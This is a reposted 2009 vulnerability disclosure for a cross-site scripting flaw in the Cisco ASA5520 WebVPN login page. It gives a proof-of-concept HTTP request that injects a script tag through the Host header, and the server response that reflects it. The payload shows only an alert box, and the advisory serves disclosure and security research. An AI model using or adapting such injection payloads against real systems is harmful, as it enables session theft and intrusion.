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Cisco ASA5520 Web VPN Cross Site Scripting

🗓️ 31 Mar 2009 00:00:00Reported by BugsNotHugsType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 39 Views

Cisco ASA5520 Web VPN Cross Site Scripting vulnerability in Cisco ASA5520 Web VPN Host Header

Code
`- Cisco ASA5520 Web VPN Host Header XSS  
  
- Description  
  
Cross-site scripting.  
  
- Product  
  
Cisco, ASA5520, IOS 7.2(2)22  
  
- PoC  
  
Modified request:  
  
POST /+webvpn+/index.html HTTP/1.1  
Host: "'><script>alert('BugsNotHugs')</script><meta httpequiv=""  
content='"www.owasp.org  
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,  
application/x-shockwave-flash, application/vnd.ms-excel,  
application/vnd.ms-powerpoint, application/msword, */*  
Referer: https://198.133.219.23/+webvpn+/index.html  
Accept-Language: en-us  
Content-Type: application/x-www-form-urlencoded  
UA-CPU: x86  
Accept-Encoding: gzip, deflate  
User-Agent: Mozilla/1.3 (compatible; MSIE 3.0; Windows 3.11; .NET CLR 1.1.1032)  
Connection: Keep-Alive  
Cache-Control: no-cache  
Cookie: webvpnlogin=1  
Content-Length: 66  
  
username=psirt&password=easy&Login=Login&next=&tgroup=&tgcookieset=  
  
  
Response:  
  
HTTP/1.1 200 OK  
Server: Virata-EmWeb/R6_2_0  
Content-Type: text/html  
Cache-Control: max-age=0  
Set-Cookie: webvpn=; expires=Thu, 01 Jan 1970 22:00:00 GMT; path=/  
Set-Cookie: webvpnlogin=1  
Content-Length: 5556  
  
<html>  
<!--  
Copyright (c) 2004, 2005 by Cisco Systems, Inc.  
All rights reserved.  
-->  
<head>  
  
  
<META http-equiv="PICS-Label" content='(PICS-1.1  
"http://www.rsac.org/ratingsv01.html" l gen true comment "RSACi North  
America Server" for  
"http://"'><script>alert('BugsNotHugs')</script><meta httpequiv=""  
content='"www.owasp.org/+webvpn+/index.html" on  
"2000.11.02T23:36-0800" r (n 0 s 0 v 0 l 0))'>  
  
<meta http-equiv="Window-target" content="_top">  
<title>WebVPN Service</title>  
  
  
- Solution  
  
None  
  
- Timeline  
  
2007-09-17: Vulnerability Discovered  
2008-02-15: Disclosed to Vendor (auto-reply)  
2009-04-02: Disclosed to Public (XSS is so 1999)  
  
--   
  
BugsNotHugs  
Shared Vulnerability Disclosure Account  
`

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